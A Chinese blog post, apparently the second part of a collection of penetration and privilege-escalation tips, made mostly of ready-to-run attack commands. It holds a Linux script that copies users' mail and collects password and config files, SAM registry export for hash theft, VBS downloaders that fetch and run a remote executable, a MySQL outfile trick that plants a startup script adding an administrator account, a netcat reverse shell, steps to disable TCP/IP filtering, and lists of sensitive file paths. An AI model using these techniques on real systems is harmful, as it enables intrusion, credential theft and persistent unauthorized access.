各种渗透,提权的经验和技巧总结（下）

向右看齐 2022-04-04 11:24 276阅读 0赞

收集系统信息的脚本：  
  
for window：  
  
@echo off  
echo \#\#\#\#\#\#\#\#\#system info collection  
systeminfo  
ver  
hostname  
net user  
net localgroup  
net localgroup administrators  
net user guest  
net user administrator  
  
echo \#\#\#\#\#\#\#at- with atq\#\#\#\#\#  
echo schtask /query  
  
echo  
echo \#\#\#\#task-list\#\#\#\#\#\#\#\#\#\#\#\#\#  
tasklist /svc  
echo  
echo \#\#\#\#net-work infomation  
ipconfig/all  
route print  
arp -a  
netstat -anipconfig /displaydns  
echo  
echo \#\#\#\#\#\#\#service\#\#\#\#\#\#\#\#\#\#\#\#  
sc query type= service state= all  
echo \#\#\#\#\#\#\#file-\#\#\#\#\#\#\#\#\#\#\#\#\#\#  
cd \\  
tree -F  
for linux：  
  
\#!/bin/bash  
  
echo \#\#\#\#\#\#\#geting sysinfo\#\#\#\#  
echo \#\#\#\#\#\#usage: ./getinfo.sh >/tmp/sysinfo.txt  
echo \#\#\#\#\#\#\#basic infomation\#\#  
cat /proc/meminfo  
echo  
cat /proc/cpuinfo  
echo  
rpm -qa 2>/dev/null  
\#\#\#\#\#\#stole the mail......\#\#\#\#\#\#  
cp -a /var/mail /tmp/getmail 2>/dev/null  
  
echo 'u'r id is' \`id\`  
echo \#\#\#atq&crontab\#\#\#\#\#  
atq  
crontab -l  
echo \#\#\#\#\#about var\#\#\#\#\#  
set  
  
echo \#\#\#\#\#about network\#\#\#  
\#\#\#\#this is then point in pentest,but i am a new bird,so u need to add some in it  
cat /etc/hosts  
hostname  
ipconfig -a  
arp -v  
echo \#\#\#\#\#\#\#\#user\#\#\#\#  
cat /etc/passwd|grep -i sh  
  
echo \#\#\#\#\#\#service\#\#\#\#  
chkconfig --list  
  
for i in \{oracle,mysql,tomcat,samba,apache,ftp\}  
cat /etc/passwd|grep -i $i  
done  
  
locate passwd >/tmp/password 2>/dev/null  
sleep 5  
locate password >>/tmp/password 2>/dev/null  
sleep 5  
locate conf >/tmp/sysconfig 2>dev/null  
sleep 5  
locate config >>/tmp/sysconfig 2>/dev/null  
sleep 5  
  
\#\#\#maybe can use "tree /"\#\#\#  
echo \#\#packing up\#\#\#\#\#\#\#\#\#  
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig  
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig  
  
ethash 不免杀怎么获取本机 hash：  
  
首先导出注册表：  
  
Windows 2000：regedit /e d:\\aa.reg "HKEY\_LOCAL\_MACHINE\\SAM\\SAM\\Domains\\Account\\Users"  
  
Windows 2003：reg export "HKEY\_LOCAL\_MACHINE\\SAM\\SAM\\Domains\\Account\\Users" d:\\aa.reg  
  
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）。  
  
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了  
hash 抓完了记得把自己的账户密码改过来哦！  
  
当 GetHashes 获取不到 hash 时，可以用冰刃把 sam 复制到桌面。据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~  
  
vbs 下载者：  
  
1：  
echo Set sGet = createObject("ADODB.Stream") >>c:\\windows\\cftmon.vbs  
echo sGet.Mode = 3 >>c:\\windows\\cftmon.vbs  
echo sGet.Type = 1 >>c:\\windows\\cftmon.vbs  
echo sGet.Open() >>c:\\windows\\cftmon.vbs  
echo sGet.Write(xPost.responseBody) >>c:\\windows\\cftmon.vbs  
echo sGet.SaveToFile "c:\\windows\\e.exe",2 >>c:\\windows\\cftmon.vbs  
echo Set objShell = CreateObject("Wscript.Shell") >>c:\\windows\\cftmon.vbs  
echo objshell.run """c:\\windows\\e.exe""" >>c:\\windows\\cftmon.vbs  
cftmon.vbs  
  
2：  
On Error Resume Next:Dim iRemote,iLocal,s1,s2  
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"  
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()  
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()  
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2  
  
cscript c:\\down.vbs http://xxxx/mm.exe c:\\mm.exe  
  
create table a (cmd text)：  
  
insert into a values ("set wshshell=createobject (""wscript.shell"")");  
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");  
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select \* from a into outfile "C:\\\\Documents and Settings\\\\All Users\\\\「开始」菜单\\\\程序\\\\启动\\\\a.vbs";  
  
Cmd 下目录的操作技巧：  
  
列出d的所有目录：  
for /d %i in (d:\\freehost\\\*) do @echo %i  
  
把当前路径下文件夹的名字只有1-3个字母的显示出来：  
for /d %i in (???) do @echo %i  
  
以当前目录为搜索路径，把当前目录与下面的子目录的全部EXE文件列出：  
for /r %i in (\*.exe) do @echo %i  
  
以指定目录为搜索路径，把当前目录与下面的子目录的所有文件列出：  
for /r "f:\\freehost\\hmadesign\\web\\" %i in (\*.\*) do @echo %i  
  
这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中：  
for /f %i in (c:\\1.txt) do echo %i  
  
delims=后的空格是分隔符，tokens是取第几个位置：  
for /f "tokens=2 delims= " %i in (a.txt) do echo %i  
  
Linux 系统下的一些常见路径：  
  
/etc/passwd  
/etc/shadow  
/etc/fstab  
/etc/host.conf  
/etc/motd  
/etc/ld.so.conf  
/var/www/htdocs/index.php  
/var/www/conf/httpd.conf  
/var/www/htdocs/index.html  
/var/httpd/conf/php.ini  
/var/httpd/htdocs/index.php  
/var/httpd/conf/httpd.conf  
/var/httpd/htdocs/index.html  
/var/httpd/conf/php.ini  
/var/www/index.html  
/var/www/index.php  
/opt/www/conf/httpd.conf  
/opt/www/htdocs/index.php  
/opt/www/htdocs/index.html  
/usr/local/apache/htdocs/index.html  
/usr/local/apache/htdocs/index.php  
/usr/local/apache2/htdocs/index.html  
  
Windows 系统下的一些常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）：  
  
c:\\windows\\php.ini  
c:\\boot.ini  
c:\\1.txt  
c:\\a.txt  
  
c:\\CMailServer\\config.ini  
c:\\CMailServer\\CMailServer.exe  
c:\\CMailServer\\WebMail\\index.asp  
c:\\program files\\CMailServer\\CMailServer.exe  
c:\\program files\\CMailServer\\WebMail\\index.asp  
C:\\WinWebMail\\SysInfo.ini  
C:\\WinWebMail\\Web\\default.asp  
C:\\WINDOWS\\FreeHost32.dll  
C:\\WINDOWS\\7i24iislog4.exe  
C:\\WINDOWS\\7i24tool.exe  
  
c:\\hzhost\\databases\\url.asp  
  
c:\\hzhost\\hzclient.exe  
C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\7i24虚拟主机管理平台\\自动设置\[受控端\].lnk  
  
C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\Serv-U\\Serv-U Administrator.lnk  
C:\\WINDOWS\\web.config  
c:\\web\\index.html  
c:\\www\\index.html  
c:\\WWWROOT\\index.html  
c:\\website\\index.html  
c:\\web\\index.asp  
c:\\www\\index.asp  
c:\\wwwsite\\index.asp  
c:\\WWWROOT\\index.asp  
c:\\web\\index.php  
c:\\www\\index.php  
c:\\WWWROOT\\index.php  
c:\\WWWsite\\index.php  
c:\\web\\default.html  
c:\\www\\default.html  
c:\\WWWROOT\\default.html  
c:\\website\\default.html  
c:\\web\\default.asp  
c:\\www\\default.asp  
c:\\wwwsite\\default.asp  
c:\\WWWROOT\\default.asp  
c:\\web\\default.php  
c:\\www\\default.php  
c:\\WWWROOT\\default.php  
c:\\WWWsite\\default.php  
C:\\Inetpub\\wwwroot\\pagerror.gif  
c:\\windows\\notepad.exe  
c:\\winnt\\notepad.exe  
  
各种网站的配置文件相对路径大全：  
  
/config.php  
../../config.php  
../config.php  
../../../config.php  
/config.inc.php  
./config.inc.php  
../../config.inc.php  
../config.inc.php  
../../../config.inc.php  
/conn.php  
./conn.php  
../../conn.php  
../conn.php  
../../../conn.php  
/conn.asp  
./conn.asp  
../../conn.asp  
../conn.asp  
../../../conn.asp  
/config.inc.php  
../inc/conn.asp  
../../../inc/conn.asp  
/inc/config.inc.php  
./inc/config.inc.php  
../../inc/config.inc.php  
../inc/config.inc.php  
../../../inc/config.inc.php  
/index.php  
./index.php  
../../index.php  
../index.php  
../../../index.php  
/index.asp  
./index.asp  
../../index.asp  
../index.asp  
../../../index.asp  
  
去除TCP IP筛选：  
  
TCP/IP筛选在注册表里有三处，分别是：  
  
HKEY\_LOCAL\_MACHINE\\SYSTEM\\ControlSet001\\Services\\Tcpip  
HKEY\_LOCAL\_MACHINE\\SYSTEM\\ControlSet002\\Services\\Tcpip  
HKEY\_LOCAL\_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip  
  
分别用以下命令来导出注册表项：  
regedit -e D:\\a.reg HKEY\_LOCAL\_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip  
regedit -e D:\\b.reg HKEY\_LOCAL\_MACHINE\\SYSTEM\\ControlSet002\\Services\\Tcpip  
regedit -e D:\\c.reg HKEY\_LOCAL\_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip  
  
然后再把三个文件里的：  
  
“EnableSecurityFilters"=dword:00000001”  
  
改为：  
  
“EnableSecurityFilters"=dword:00000000”  
  
再将以上三个文件分别用以下命令导入注册表即可：  
regedit -s D:\\a.reg  
regedit -s D:\\b.reg  
regedit -s D:\\c.reg  
  
Webshell 提权小技巧：  
  
Cmd路径：c:\\windows\\temp\\cmd.exe  
  
Nc 也在同目录下，例如反弹cmdshell：  
  
"c:\\windows\\temp\\nc.exe -vv ip 999 -e c:\\windows\\temp\\cmd.exe"  
  
通常都不会成功。  
  
而直接在 cmd 路径上输入：c:\\windows\\temp\\nc.exe  
  
命令输入：-vv ip 999 -e c:\\windows\\temp\\cmd.exe  
  
却能成功。。这个不是重点  
我们通常执行 pr.exe 或 Churrasco.exe 的时候也需要按照上面的方法才能成功。  
  
命令行调用 RAR 打包：  
  
rar a -k -r -s -m3 c:\\1.rar c:\\folder